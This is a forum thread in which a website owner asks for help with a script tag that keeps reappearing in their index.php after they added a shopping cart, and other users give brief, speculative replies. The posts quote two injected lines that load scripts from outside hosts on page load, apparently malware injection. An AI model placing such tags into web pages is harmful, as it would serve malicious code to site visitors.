Unhappy Website keeps adding additional coding to the index.php file

Hi all,

I would really appreciate a bit of help with this. A few days ago, I started messing about with adding a shopping cart to my website. Since then I noticed that the following got added to my index.php file:

</head><script src=http://zegarki.ehost.pl/artdance/podklad.php ></script>

The above coding is not something that I have put in myself.

Since this coding has added itself to my site, I have decided to delete everything on my website and replace all the files with a backup that I had taken (which does not have the above coding in it).

I have then seen the code re-appear again in my index.php file. I can remove this section of the code manually, but I know it will keep on coming back.

Can someone please help me with this. If any further info is needed from myself, please let me know.

Thanks.

This is probably due to a security flaw in the script. You should not use that same script until you upgrade to a fixed version.

thanks - so what would be the best thing for me to do?

Hi,

Thanks for the reply. So what would be the best thing for me to do? It looks as though there is a 'hole' somewhere in my site. How can I get to the bottom of this?

Thanks.

Hi,

On my brother's PC - when using Firefox and trying to access the website, it completely shuts Firefox down. Apart from that, I am not too sure. It has again added itself back.

Any ideas?

Thanks,

New coding has been added

Hi,

The following coding has been added to my site now:

</head><script src=http://christinateatern.se/images/kartachristina.jpg-for-web-small.php ></script>

Does anyone have any ideas please? Are there any permissions that I need to check on my website? I have not changed any permissions, so anyone got any ideas on what the permissions should be?

Thanks,

i would contact your host, sounds like there might be a virus or something on their servers. if its one of those free deals, then it might be something their doing for advertising.
